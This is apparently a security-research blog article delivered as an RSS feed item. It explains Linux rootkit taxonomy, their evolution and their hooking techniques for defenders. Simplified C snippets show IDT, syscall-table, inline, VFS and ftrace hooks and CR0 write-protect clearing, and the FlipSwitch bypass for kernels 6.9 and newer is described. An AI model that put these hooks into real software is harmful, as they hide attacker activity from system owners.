<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Articles by Ruben Groenewoud</title>
        <link>https://www.elastic.co/de/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Wed, 11 Mar 2026 21:58:13 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Articles by Ruben Groenewoud</title>
            <url>https://www.elastic.co/de/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/de/security-labs</link>
        </image>
        <copyright>© 2026. Elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[Hooked on Linux: Rootkit Taxonomy, Hooking Techniques and Tradecraft]]></title>
            <link>https://www.elastic.co/de/security-labs/linux-rootkits-1-hooked-on-linux</link>
            <guid>linux-rootkits-1-hooked-on-linux</guid>
            <pubDate>Thu, 05 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[In this first part of a two-part series, we explore Linux rootkit taxonomy, trace their evolution from userland shared object hijacking and kernel-space loadable kernel module hooking to modern eBPF- and io_uring-powered techniques.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>This is part one of a two-part series on Linux rootkits. In this first installment, we focus on the theory behind how rootkits work: their taxonomy, evolution, and the hooking techniques they use to subvert the kernel. In part two, we shift to the defensive side and dive into detection engineering, covering practical approaches to identifying and responding to these threats in production environments.</p>
<h2>What Are Rootkits?</h2>
<p>Rootkits are stealthy malware designed to conceal malicious activity, such as files, processes, network connections, kernel modules, or accounts. Their primary purposes are persistence and evasion, allowing attackers to maintain long-term access to high-value targets like servers, infrastructure, and enterprise systems. Unlike other forms of malware, rootkits focus on remaining undetected rather than immediately pursuing objectives.</p>
<h2>How Do Rootkits Work?</h2>
<p>Rootkits manipulate the operating system to alter how it presents information to users and security tools. They operate in user space or within the kernel. User-space rootkits modify user-level processes using techniques such as <code>LD_PRELOAD</code> or library hijacking. Kernel-space rootkits run with the highest privileges, modifying kernel structures, intercepting syscalls, or loading malicious modules. This deep integration gives them powerful evasion capabilities but increases operational risk.</p>
<h2>Why Are Rootkits Difficult to Detect?</h2>
<p>Kernel-space rootkits can manipulate core OS functions, subverting security tools and obscuring artifacts from userland visibility. They often leave minimal traces of their presence in the system, avoiding obvious indicators such as new processes or files, making traditional detection difficult. Identifying rootkits often requires memory forensics, kernel integrity checks, or telemetry below the OS level.</p>
<h2>Why Rootkits Are a Double-Edged Sword for Attackers</h2>
<p>While rootkits offer stealth and control, they carry operational risks. Kernel rootkits must be precisely tailored to kernel versions and environments. Mistakes, such as mishandling memory or incorrectly hooking syscalls, can cause system crashes (kernel panics), immediately exposing the attacker. At the very least, these failures draw unwanted attention to the system—a scenario the attacker is actively trying to avoid to maintain their foothold.</p>
<p>Kernel updates also present challenges: changes to APIs, memory structures, or syscalls can break rootkit functionality, making persistence vulnerable. Detection of suspicious modules or hooks typically triggers deep forensic investigation, as rootkits strongly indicate targeted, high-skill attacks. For attackers, rootkits are high-risk, high-reward tools; for defenders, this fragility offers opportunities for detection through low-level monitoring.</p>
<h2>Windows vs Linux Rootkits</h2>
<h3>The Windows Rootkit Ecosystem</h3>
<p>Windows is the primary focus for rootkit development. Attackers exploit kernel hooks, drivers, and undocumented syscalls for hiding malware, stealing credentials, and persistence. A mature research community and widespread usage in enterprise environments drive ongoing innovation, including techniques like DKOM, PatchGuard bypasses, and bootkits.</p>
<p>Robust security tools and Microsoft’s hardening efforts push attackers toward increasingly sophisticated methods. Windows remains attractive due to its dominance on enterprise endpoints and consumer devices.</p>
<h3>The Linux Rootkit Ecosystem</h3>
<p>Linux rootkits have historically received less attention. Fragmentation across distributions and kernel versions complicates detection and development. While academic research exists, much tooling is outdated, and production Linux environments often lack specialized monitoring.</p>
<p>However, Linux’s role in cloud, containers, IoT, and High Performance Computing has made it a growing target. Real-world Linux rootkits have been observed in attacks on cloud providers, telecoms, and governments. Key challenges for attackers include:</p>
<ul>
<li>Diverse kernels hinder cross-distribution compatibility.</li>
<li>Long uptimes prolong kernel mismatches.</li>
<li>Security features like SELinux, AppArmor, and module signing increase difficulty.</li>
</ul>
<p>Unique Linux threats include:</p>
<ul>
<li><strong>Containers &amp; Kubernetes</strong>: new persistence vectors via container escape.</li>
<li><strong>IoT devices</strong>: outdated kernels with minimal monitoring.</li>
<li><strong>Production servers</strong>: headless systems lacking user interaction, reducing visibility.</li>
</ul>
<p>With Linux dominating modern infrastructure, rootkits represent an under-monitored yet escalating threat. Improving detection, tooling, and research into Linux-specific techniques is increasingly urgent.</p>
<h2>Evolution of Linux Rootkit Implementation Models</h2>
<p>Over the past two decades, Linux rootkits have evolved from basic userland techniques to advanced, kernel-resident implants leveraging modern kernel interfaces like <code>eBPF</code> and <code>io_uring</code>. Each stage in this evolution reflects both attacker innovation and defender response, pushing rootkit designs toward greater stealth, flexibility, and resilience.</p>
<p>This section outlines that progression, including key characteristics, historical context, and real-world examples.</p>
<h3>Early 2000s: Shared Object (SO) Userland Rootkits</h3>
<p>The earliest Linux rootkits operated entirely in user space without requiring kernel modification, relying on techniques like <code>LD_PRELOAD</code> or the manipulation of shell profiles to inject malicious shared objects into legitimate binaries. By intercepting standard libc functions such as <code>opendir</code>, <code>readdir</code>, and <code>fopen</code>, these rootkits could manipulate the output of diagnostic tools like <code>ps</code>, <code>ls</code>, and <code>netstat</code>. While this approach made them easier to deploy, their reliance on userland hooks meant they were limited in stealth and scope compared to kernel-level implants; they were easily disrupted by simple reboots or configuration resets. Prominent examples include the <a href="https://github.com/chokepoint/jynxkit">Jynx rootkit (2009)</a>, which hooked <code>libc</code> functions to hide files and connections, and <a href="https://github.com/chokepoint/azazel">Azazel (2013)</a>, which combined shared object injection with optional kernel-mode features. The foundational techniques for this dynamic linker abuse were famously detailed in <a href="https://phrack.org/issues/61/8">Phrack Magazine #61</a>  back in 2003.</p>
<h3>Mid-2000s-2010s: Loadable Kernel Module (LKM) Rootkits</h3>
<p>As defenders became adept at spotting userland manipulations, attackers migrated into the kernel space via Loadable Kernel Modules (LKMs). Although LKMs are legitimate extensions, malicious actors utilize them to operate with full privileges, hooking the <code>sys_call_table</code>, manipulating <code>ftrace</code>, or altering internal linked lists to hide processes, files, sockets, and even the rootkit itself. While LKMs offer deep control and powerful concealment capabilities, they face significant scrutiny in hardened environments. They are detectable via tainted kernel states, listings in <code>/proc/modules</code>, or specialized LKM scanners, and are increasingly hindered by modern defenses like Secure Boot, module signing, and Linux Security Modules (LSMs). Classic examples of this era include <a href="https://github.com/yaoyumeng/adore-ng">Adore-ng (2004+)</a>, a syscall-hooking LKM capable of hiding itself; <a href="https://github.com/m0nad/Diamorphine">Diamorphine (2016)</a>, a popular hooker that remains functional on many distributions; and <a href="https://codeberg.org/hardenedvault/Reptile-vault-range">Reptile (2020)</a>, a modern variant featuring backdoor capabilities.</p>
<h3>Late 2010s: eBPF-Based Rootkits</h3>
<p>To evade the growing detection of LKM-based threats, attackers began abusing eBPF, a subsystem originally built for safe packet filtering and kernel tracing. Since Linux 4.8+, eBPF has evolved into a programmable in-kernel virtual machine capable of attaching code to syscall hooks, kprobes, tracepoints, or Linux Security Module events. These implants run in kernel space but avoid traditional module loading, allowing them to bypass standard LKM scanners like <code>rkhunter</code> and <code>chkrootkit</code>, as well as Secure Boot restrictions. Because they do not appear in <code>/proc/modules</code> and are essentially invisible to typical module audit mechanisms, they require <code>CAP_BPF</code> or <code>CAP_SYS_ADMIN</code> (or rare unprivileged BPF access) to deploy. This era is defined by tools like <a href="https://github.com/h3xduck/TripleCross">Triple Cross (2022)</a>, a proof-of-concept that injects eBPF programs to hook syscalls like <code>execve</code>, and <a href="https://github.com/krisnova/boopkit">Boopkit (2022)</a>, which implements a covert C2 channel entirely via eBPF, alongside numerous Defcon presentations exploring the topic.</p>
<h3>2025s and Beyond: io_uring-Based Rootkits (Emerging)</h3>
<p>The most recent evolution capitalizes on <code>io_uring</code>, a high-performance asynchronous I/O interface introduced in Linux 5.1 (2019) that allows processes to batch system operations via shared memory rings. While designed to reduce syscall overhead for performance, red teamers have demonstrated that <code>io_uring</code> can be abused to create stealthy userland agents or kernel-context rootkits that evade syscall-based EDRs. By using <code>io_uring_enter</code> to batch file, network, and process operations, these rootkits produce far fewer observable syscall events, frustrating traditional detection mechanisms and avoiding the restrictions placed on LKMs and eBPF. Although still experimental, examples like <a href="https://github.com/MatheuZSecurity/RingReaper">RingReaper (2025)</a>, which uses <code>io_uring</code> to stealthily replace common syscalls like <code>read</code>, <code>write</code>, <code>connect</code>, and <code>unlink</code>, and <a href="https://www.armosec.io/blog/io_uring-rootkit-bypasses-linux-security/">research by ARMO</a> highlight this as a highly promising vector for future rootkit development that is hard to trace without custom instrumentation.</p>
<p>The Linux rootkit design has consistently adapted in response to better defenses. As LKM loading becomes more difficult and syscall auditing becomes more advanced, attackers have turned to alternative interfaces such as eBPF and <code>io_uring</code>. With this evolution, the battle is no longer just about detection, but about understanding the mechanisms rootkits use to blend into the system’s core, starting with their hooking strategies and internal architecture.</p>
<p>##Rootkit Internals and Hooking Techniques</p>
<p>Understanding the architecture of Linux rootkits is essential for detection and defense. Most rootkits follow a modular design with two main components:</p>
<ul>
<li><strong>Loader</strong>: Installs or injects the rootkit and may establish persistence. While not strictly necessary, a separate loader component is often seen in malware infection chains that deploy rootkits.</li>
<li><strong>Payload</strong>: Performs malicious actions such as hiding files, intercepting syscalls, or covert communications.</li>
</ul>
<p>Payloads rely heavily on hooking techniques to alter execution flow and achieve stealth.</p>
<h2>Rootkit Loader Component</h2>
<p>The loader is the component responsible for transferring the rootkit into memory, initializing its execution, and in many cases, establishing persistence or escalating privileges. Its role is to bridge the gap between initial access (e.g., via exploit, phishing, or misconfiguration) and full rootkit deployment.</p>
<p>Depending on the rootkit model, the loader may operate entirely in user space, interact with the kernel through standard system interfaces, or bypass operating system protections altogether. Broadly, loaders can be categorized into three classes: malware-based droppers, userland rootkit initializers, and custom kernel-space loaders. Additionally, rootkits may be loaded manually by an attacker through userspace tooling such as <code>insmod</code>.</p>
<h3>Malware-Based Droppers</h3>
<p>Malware droppers are lightweight programs, often deployed after initial access, whose sole purpose is to download or unpack a rootkit payload and execute it. These droppers typically operate in user space but escalate privileges and interact with kernel-level features.</p>
<p>Common techniques include:</p>
<ul>
<li><strong>Module injection</strong>: Writing a malicious <code>.ko</code> file to disk and invoking <code>insmod</code> or <code>modprobe</code> to load it as a kernel module.</li>
<li><strong>Syscall wrapper:</strong> Using a wrapper around <code>init_module()</code> or <code>finit_module()</code> to load an LKM directly through syscalls.</li>
<li><strong>In-memory injection</strong>: Leveraging interfaces such as <code>ptrace</code> or <code>memfd_create</code>, often avoiding disk artifacts.</li>
<li><strong>BPF-based loading</strong>: Using utilities like <code>bpftool</code>, <code>tc</code>, or direct <code>bpf()</code> syscalls to load and attach eBPF programs to kernel tracepoints or LSM hooks.</li>
</ul>
<h3>Userland Loaders</h3>
<p>In the case of Shared Object rootkits, the loader may be limited to modifying user configuration or environment settings:</p>
<ul>
<li><strong>Dynamic linker abuse</strong>: Setting <code>LD_PRELOAD=/path/to/rootkit.so</code> allows the malicious shared object to override libc functions when the target binary executes.</li>
<li><strong>Persistence via profile modification</strong>: Inserting preload configurations into <code>.bashrc</code>, <code>.profile</code>, or global files such as <code>/etc/profile</code> ensures continued execution across sessions.</li>
</ul>
<p>While these loaders are trivial in implementation, they remain effective in weakly defended environments or as part of multi-stage infection chains.</p>
<h3>Custom Kernel Loaders</h3>
<p>Advanced rootkits may include custom kernel loaders designed to bypass standard module loading paths entirely. These loaders interact directly with low-level kernel interfaces or memory devices to write the rootkit into memory, often evading kernel audit logs or module signature verification.</p>
<p>For example, Reptile includes a userspace binary as a loader, allowing it to load the rootkit without invoking <code>insmod</code> or <code>modprobe</code>; however, it still relies on the <code>init_mod</code> syscall for loading the module into memory.</p>
<h3>Additional Loader Capabilities</h3>
<p>The malware loader often assumes an expanded role beyond simple initialization, becoming a multifunctional component of the attack chain. A key step for these advanced loaders is Elevating Privileges, in which they seek root access before loading the primary payload, often by exploiting local kernel vulnerabilities, a common tactic exemplified by the &quot;Dirty Pipe&quot; vulnerability (CVE-2022-0847). Once privileges are secured, the loader is then tasked with covering tracks. This involves a process of wiping evidence of execution by clearing entries from critical files like <code>bash_history</code>, kernel logs, audit logs, or the system's main <code>syslog</code>. Finally, to guarantee re-execution upon system restart, the loader ensures persistence by installing mechanisms such as <code>systemd</code> units, <code>cron</code> jobs, <code>udev</code> rules, or modifications to initialization scripts. These multifunctional behaviors often blur the distinction between a mere &quot;loader&quot; and full-fledged malware, especially in complex, multi-stage infections.</p>
<h2>Payload Component</h2>
<p>The payload delivers core functionality: stealth, control, and persistence. There are several primary methods an attacker might use. User-space payloads, often referred to as SO rootkits, operate by hijacking standard C library functions like <code>readdir</code> or <code>fopen</code> via the dynamic linker. This allows them to manipulate the output of common system tools such as <code>ls</code>, <code>netstat</code>, and <code>ps</code>. While they are generally easier to deploy, their operational scope is limited.</p>
<p>In contrast, kernel-space payloads operate with full system privileges. They can hide files and processes directly from <code>/proc</code>, manipulate the networking stack, and modify kernel structures. A more modern approach involves eBPF-based rootkits, which leverage in-kernel bytecode attached to syscall tracepoints or Linux Security Module (LSM) hooks. These kits offer stealth without requiring out-of-tree modules, making them particularly effective in environments with Secure Boot or module signing policies. Tools like <code>bpftool</code> simplify their loading, thereby complicating detection. Finally, <code>io_uring</code>-based payloads exploit asynchronous I/O batching via <code>io_uring_enter</code> (available in Linux 5.1 and later) to bypass traditional syscall monitoring. This allows for stealthy file, network, and process operations while minimizing telemetry exposure.</p>
<h2>Linux Rootkits – Hooking Techniques</h2>
<p>Building on that essential foundation, we now turn to the core of most rootkit functionality: hooking. At its essence, hooking involves intercepting and altering the execution of functions or system calls to conceal malicious activity or inject new behaviors. By diverting the normal flow of code, rootkits can hide files and processes, filter out security events, or secretly monitor the system, often without leaving obvious clues. Hooking can be implemented in both userland and kernel space, and over the years, attackers have devised numerous hooking techniques, from legacy methods to modern evasive maneuvers. In this part, we will provide a deep dive into common hooking techniques used by Linux rootkits, illustrating each method with examples and real-world rootkit samples (such as <a href="https://codeberg.org/hardenedvault/Reptile-vault-range">Reptile</a>, <a href="https://github.com/m0nad/Diamorphine">Diamorphine</a>, <a href="https://www.elastic.co/de/security-labs/declawing-pumakit">PUMAKIT</a>, and, more recently, <a href="https://github.com/1337-42/FlipSwitch-dev/">FlipSwitch</a>) to understand how they work and how kernel evolution has challenged them.</p>
<h3>The Concept of Hooking</h3>
<p>At a high level, hooking is the practice of intercepting a function or system call invocation and redirecting it to malicious code. By doing so, a rootkit can modify the returned data or behavior to hide its presence or tamper with system operations. For example, a rootkit might hook the syscall that lists files in a directory (<code>getdents</code>), making it skip over any filenames that match the rootkit’s own files, thus making those files “invisible” to user commands like <code>ls</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-rootkits-1-hooked-on-linux/image1.png" alt="Figure 1: Overview of getdents() syscall hooking flow by loadable kernel module rootkit." /></p>
<p>Hooking is not confined to kernel internals; it can also occur in user space. Early Linux rootkits operated entirely in userland by injecting malicious shared objects into processes. Techniques like using the dynamic linker’s <code>LD_PRELOAD</code> environment variable allow a rootkit to override standard C library functions (e.g., <code>getdents</code>, <code>readdir</code>, and <code>fopen</code>) in user programs. This means when a user runs a tool like <code>ps</code> or <code>netstat</code>, the rootkit’s injected code intercepts calls to list processes or network connections and filters out the malicious ones. These userland hooks require no kernel privileges and are relatively simple to implement.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-rootkits-1-hooked-on-linux/image2.png" alt="Figure 2: Overview of readdir() function hooking flow by shared object rootkit." /></p>
<p>Notable examples include <a href="https://github.com/chokepoint/jynxkit">JynxKit (2012)</a> and <a href="https://github.com/chokepoint/azazel">Azazel (2014)</a>, user-mode rootkits that hook dozens of <code>libc</code> functions to hide processes, files, network ports, and even enable backdoors. However, userland hooking has significant limitations: it’s easier to detect and remove, and it lacks the deep control that kernel-level hooks have. As a result, most modern and “in the wild” Linux rootkits have shifted to kernel space hooking, despite the higher complexity and risk, because kernel hooks can comprehensively trick the operating system and security tools at a low level.</p>
<p>In the kernel, hooking typically means altering kernel data structures or code so that when the kernel tries to execute a particular operation (say, open a file or make a system call), it invokes the rootkit’s code instead of (or in addition to) the legitimate code. Over the years, Linux kernel developers have introduced stronger protections to guard against unauthorized modifications, but attackers have responded with increasingly sophisticated hooking methods. Below, we’ll examine the major hooking techniques in kernel space, starting from older methods (now largely obsolete) and progressing to modern techniques that attempt to bypass contemporary kernel defenses. Each subsection will explain the technique, show a simplified code example, and discuss its usage in known rootkits and its limitations given today’s Linux safeguards.</p>
<h3>Hooking Techniques in the Kernel</h3>
<h4>Interrupt Descriptor Table (IDT) Hooking</h4>
<p>One of the earliest kernel hooking tricks on Linux was to target the Interrupt Descriptor Table (IDT). On 32-bit x86 Linux, system calls used to be invoked via a software interrupt (<code>int 0x80</code>). The IDT is a table that maps interrupt numbers to handler addresses. By modifying the IDT entry for <code>0x80</code>, a rootkit could hijack the system call entry point before the kernel’s own system call dispatcher gets control. In other words, when any program triggered a syscall via <code>int 0x80</code>, the CPU would jump to the rootkit’s custom handler first, allowing the rootkit to filter or redirect calls at the very lowest level. Below is a simplified code example of IDT hooking (for illustration purposes):</p>
<pre><code class="language-c">// Install the IDT hook
static int install_idt_hook(void) {
    // Get pointer to IDT table
    idt_table = get_idt_table();

    // Save original syscall handler (int 0x80 = entry 128)
    original_syscall_entry = idt_table[0x80];

    // Calculate original handler address
    original_syscall_handler = (void*)(
        (original_syscall_entry.offset_high &lt;&lt; 16) |
        original_syscall_entry.offset_low
    );

    // Install our hook
    idt_table[0x80].offset_low = (unsigned long)custom_int80_handler &amp; 0xFFFF;
    idt_table[0x80].offset_high =
        ((unsigned long)custom_int80_handler &gt;&gt; 16)
        &amp; 0xFFFF;

    // Keep same selector and attributes as original
    // idt_table[0x80].selector and type_attr remain unchanged

    printk(KERN_INFO &quot;IDT hook installed at 0x80\n&quot;);
    return 0;
}

</code></pre>
&lt;center&gt;*IDT hijacking code example*&lt;/center&gt;
<p>The above code sets a new handler for interrupt <code>0x80</code>, redirecting execution flow to the rootkit’s handler before any syscall handling occurs. This allows the rootkit to intercept or modify syscall behavior entirely below the level of the syscall table. IDT hooking is used by educational and older rootkits such as <a href="https://phrack.org/issues/58/7">SuckIT</a>.</p>
<p>IDT hooking is mostly a historical technique now. It only worked on older Linux systems that use the <code>int 0x80</code> mechanism (32-bit x86 kernels before Linux 2.6). Modern 64-bit Linux uses the <code>sysenter</code>/<code>syscall</code> instructions instead of the software interrupt, so the IDT entry for <code>0x80</code> is no longer used for system calls. Additionally, IDT hooking is highly architecture-specific (x86 only) and is not effective on modern kernels with x86_64 or other architectures.</p>
<h4>Syscall Table Hooking</h4>
<p>Syscall table hooking is a classic rootkit technique that involves modifying the kernel's system call dispatch table, known as the <code>sys_call_table</code>. This table is an array of function pointers where each entry corresponds to a specific syscall number. By overwriting a pointer in this table, an attacker can redirect a legitimate syscall, such as <code>getdents64</code>, <code>kill</code>, or <code>read</code>, to a malicious handler. An example is displayed below.</p>
<pre><code class="language-c">asmlinkage int (*original_getdents64)(
    unsigned int,
    struct linux_dirent64 __user *,
    unsigned int);

asmlinkage int hacked_getdents64(
    unsigned int fd,
    struct linux_dirent64 __user *dirp,
    unsigned int count)
{
    int ret = original_getdents64(fd, dirp, count);
    // Filter hidden entries from dirp
    return ret;
}

write_cr0(read_cr0() &amp; ~0x10000); // Disable write protection
sys_call_table[__NR_getdents64] = hacked_getdents64;
write_cr0(read_cr0() | 0x10000); // Re-enable write protection

</code></pre>
&lt;center&gt;*Syscall table hijacking code example*&lt;/center&gt;
<p>In the example, to modify the table, a kernel module would first need to disable write protection on the memory page where the table resides. The following assembly code (as seen in Diamorphine) demonstrates how the 20th bit (Write Protect) of the <code>CR0</code> control register can be cleared, even though the <code>write_cr0</code> function is no longer exported to modules:</p>
<pre><code class="language-c">static inline void
write_cr0_forced(unsigned long val)
{
    unsigned long __force_order;

    asm volatile(
        &quot;mov %0, %%cr0&quot;
        : &quot;+r&quot;(val), &quot;+m&quot;(__force_order));
}

</code></pre>
&lt;center&gt;*Control register (cr0) clearing code example*&lt;/center&gt;
<p>Once write protection is disabled, the address of a syscall in the table can be replaced with the address of a malicious function. After the modification, write protection is re-enabled. Notable examples of rootkits that used this technique include Diamorphine, Knark, and Reveng_rtkit. Syscall table hooking has several limitations:</p>
<ul>
<li>Kernel hardening (since 2.6.25) hides <code>sys_call_table</code>.</li>
<li>Kernel memory pages were made read-only (<code>CONFIG_STRICT_KERNEL_RWX</code>).</li>
<li>Security features like Secure Boot and the kernel lockdown mechanism can hinder modifications to CR0.</li>
</ul>
<p>The most definitive mitigation came with Linux kernel 6.9, which fundamentally changed how syscalls are dispatched on the x86-64 architecture. Before version 6.9, the kernel executed syscalls by directly looking up the handler in the <code>sys_call_table</code> array:</p>
<pre><code class="language-c">// Pre-v6.9 Syscall Dispatch
asmlinkage const sys_call_ptr_t sys_call_table[] = {
    #include &lt;asm/syscalls_64.h&gt;
};

</code></pre>
&lt;center&gt;*Syscall execution in Linux kernels before version 6.9*&lt;/center&gt;
<p>Starting with kernel 6.9, the syscall number is used in a switch statement to find and execute the appropriate handler. The <code>sys_call_table</code> still exists but is only populated for compatibility with tracing tools and is no longer used in the syscall execution path.</p>
<pre><code class="language-c">// Kernel v6.9+ Syscall Dispatch
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
    switch (nr) {
    #include &lt;asm/syscalls_64.h&gt;
    default: return __x64_sys_ni_syscall(regs);
    }
};

</code></pre>
&lt;center&gt;*Syscall execution in Linux kernels after version 6.9*&lt;/center&gt;
<p>As a result of this architectural change, overwriting function pointers in the <code>sys_call_table</code> on kernels 6.9 and newer does not affect syscall execution, rendering the technique entirely ineffective. While this led us to assume that syscall table patching was no longer viable, we recently published the <a href="https://github.com/1337-42/FlipSwitch-dev/"><strong>FlipSwitch</strong></a> technique, which demonstrates that this vector is far from dead. This method leverages specific register manipulation gadgets to momentarily disable kernel write-protection mechanisms, effectively allowing an attacker to bypass the &quot;immutability&quot; of the modern syscall path and reintroduce hooks even within these hardened environments.</p>
<p>Instead of targeting the data-based <code>sys_call_table</code>, FlipSwitch focuses on the compiled machine code of the kernel's new syscall dispatcher function, <code>x64_sys_call</code>. Because the kernel now uses a massive switch-case statement to execute syscalls, each syscall has a hardcoded <code>call</code> instruction within the dispatcher's binary. FlipSwitch scans the memory of the <code>x64_sys_call</code> function to locate the specific &quot;signature&quot; of a target syscall, typically an <code>0xe8</code> opcode (the <code>CALL</code> instruction) followed by a 4-byte relative offset that points to the original, legitimate handler.</p>
<p>Once this call site is identified within the dispatcher, the rootkit uses gadgets to clear the Write Protect (WP) bit in the CR0 control register, granting temporary write access to the kernel's executable code segments. The original relative offset is then overwritten with a new offset pointing to a malicious, adversary-controlled function. This effectively &quot;flips the switch&quot; at the point of dispatch, ensuring that whenever the kernel attempts to execute the target syscall through its modern switch-statement path, it is redirected to the rootkit instead. This enables reliable, precise syscall interception that persists despite the 6.9 kernel’s architectural hardening.</p>
<h4>Inline Hooking / Function Prologue Patching</h4>
<p>Inline hooking is an alternative to hooking via pointer tables. Instead of modifying a pointer in a table, inline hooking patches the code of the target function itself. The rootkit writes a jump instruction at the start (prologue) of a kernel function, which diverts execution to the rootkit’s own code. This technique is akin to function hot-patching or the way user-mode hooks on Windows work (e.g., modifying the first bytes of a function to jump to a detour).</p>
<p>For example, a rootkit might target a kernel function like <code>do_sys_open</code> (which is part of the open file syscall handling). By overwriting the first few bytes of <code>do_sys_open</code> with an <code>x86 JMP</code> instruction to malicious code, the rootkit ensures that whenever <code>do_sys_open</code> is called, it jumps into the rootkit’s routine instead. The malicious routine can then execute whatever it wants (e.g., check if the filename to open is on a hidden list and deny access), and optionally call the original <code>do_sys_open</code> to proceed with normal behavior for non-hidden files.</p>
<pre><code class="language-c">unsigned char *target = (unsigned char *)kallsyms_lookup_name(&quot;do_sys_open&quot;);
unsigned long hook = (unsigned long)&amp;malicious_function;
int offset = (int)(hook - ((unsigned long)target + 5));
unsigned char jmp[5] = {0xE9};
memcpy(&amp;jmp[1], &amp;offset, 4);

// Memory protection omitted for brevity
memcpy(target, jmp, 5);

asmlinkage long malicious_function(
    const char __user *filename,
    int flags, umode_t mode) {
    printk(KERN_INFO &quot;do_sys_open hooked!\n&quot;);
    return -EPERM;
}

</code></pre>
&lt;center&gt;*Inline hooking code example*&lt;/center&gt;
<p>This code overwrites the beginning of <code>do_sys_open()</code> with a <code>JMP</code> instruction that redirects execution to malicious code. The open-source rootkit Reptile extensively uses inline function patching via a custom framework called KHOOK (which we will discuss shortly).</p>
<p>Reptile’s inline hooks target functions like <code>sys_kill</code> and others, enabling backdoor commands (e.g., sending a specific signal to a process triggers the rootkit to elevate privileges or hide the process). Another example is Suterusu, which also applied inline patching for some of its hooks.</p>
<p>Inline hooking is fragile and high-risk: overwriting a function’s prologue is sensitive to kernel version and compiler differences (so hooks often need per-build patches or runtime disassembly), it can easily crash the system if instructions or concurrent execution aren’t handled correctly, and it requires bypassing modern memory protections (<code>W^X</code>, <code>CR0 WP</code>, module signing/lockdown) or exploiting vulnerabilities to make kernel text writable.</p>
<h4>Virtual Filesystem Hooking</h4>
<p>The Virtual Filesystem (VFS) layer in Linux provides an abstraction for file operations. For example, when you read a directory (like <code>ls /proc</code>), the kernel will eventually call a function to iterate over directory entries. File systems define their own file_operations with function pointers for actions like <code>iterate_shared</code> (to list directory contents) or read/write for file I/O. VFS hooking involves replacing these function pointers with rootkit-provided functions to manipulate how the filesystem presents data.</p>
<p>In essence, a rootkit can hook into the VFS to hide files or directories by filtering them out of directory listings. A common trick: hook the function that iterates directory entries, and make it skip any file names that match a certain pattern. The <code>file_operations</code> structure for directories (particularly in <code>/proc</code> or <code>/sys</code>) is a frequent target, since hiding malicious processes often involves hiding entries under <code>/proc/&lt;pid&gt;</code>.</p>
<p>Consider this example hook for a directory listing function:</p>
<pre><code class="language-c">static iterate_dir_t original_iterate;

static int malicious_filldir(
    struct dir_context *ctx,
    const char *name, int namelen,
    loff_t offset, u64 ino,
    unsigned int d_type)
{
    if (!strcmp(name, &quot;hidden_file&quot;))
        return 0; // Skip hidden_file
    return ctx-&gt;actor(ctx, name, namelen, offset, ino, d_type);
}

static int malicious_iterate(struct file *file, struct dir_context *ctx)
{
    struct dir_context new_ctx = *ctx;
    new_ctx.actor = malicious_filldir;
    return original_iterate(file, &amp;new_ctx);
}

// Hook installation
file-&gt;f_op-&gt;iterate = malicious_iterate;

</code></pre>
&lt;center&gt;*VFS hooking code example*&lt;/center&gt;
<p>This replacement function filters out hidden files during directory listing operations. By hooking at the VFS level, the rootkit doesn’t need to tamper with system call tables or low-level assembly; it simply piggybacks on the filesystem interface. <a href="https://github.com/yaoyumeng/adore-ng">Adore-NG</a>, a once-popular Linux rootkit, employed VFS hooking to hide files and processes. It patched the function pointers for directory iteration to conceal entries for specific PIDs and filenames. Many other kernel rootkits have similar code to hide themselves or their artifacts via VFS hooks.</p>
<p>VFS hooking is still widely used, but it has limitations due to changes in kernel structure offsets between versions, which can lead to hooks breaking.</p>
<h4>Ftrace-Based Hooking</h4>
<p>Modern Linux kernels include a powerful tracing framework called ftrace (function tracer). Ftrace is intended for debugging and performance analysis, allowing one to attach hooks (callbacks) to almost any kernel function entry or exit without modifying the kernel code directly. It works by dynamically modifying kernel code at runtime in a controlled manner (often by patching in a lightweight trampoline that calls the tracing handler). Importantly, ftrace provides an API for kernel modules to register trace handlers, as long as certain conditions are met (like having the kernel built with ftrace support and the debugfs interface available).</p>
<p>Rootkits have started abusing ftrace to implement hooks in a less obvious way. Instead of manually writing a <code>JMP</code> into a function, a rootkit can ask the kernel’s ftrace machinery to do it on its behalf; essentially “legitimizing” the hook. This means the rootkit doesn’t have to find the function’s address or modify page protections; it simply registers a callback for the function name it wants to intercept, and the kernel installs the hook.</p>
<p>Here’s a simplified example of using ftrace to hook the <code>mkdir</code> system call handler:</p>
<pre><code class="language-c">static int __init hook_init(void) {
    target_addr = kallsyms_lookup_name(SYSCALL_NAME(&quot;sys_mkdir&quot;));
    if (!target_addr) return -ENOENT;
    real_mkdir = (void *)target_addr;

    ops.func = ftrace_thunk;
    ops.flags = FTRACE_OPS_FL_SAVE_REGS
        | FTRACE_OPS_FL_RECURSION_SAFE
        | FTRACE_OPS_FL_IPMODIFY;

    if (ftrace_set_filter_ip(&amp;ops, target_addr, 0, 0)) return -EINVAL;
    return register_ftrace_function(&amp;ops);
}

</code></pre>
&lt;center&gt;*Ftrace hooking code example*&lt;/center&gt;
<p>This hook intercepts the <code>sys_mkdir</code> function and reroutes it through a malicious handler. Recent rootkits such as <a href="https://github.com/carloslack/KoviD">KoviD</a>, <a href="https://github.com/MatheuZSecurity/Singularity">Singularity</a>, and <a href="https://github.com/h3xduck/Umbra">Umbra</a> have utilized ftrace-based hooks. These rootkits register ftrace callbacks on various kernel functions (including syscalls) to either monitor or manipulate them.</p>
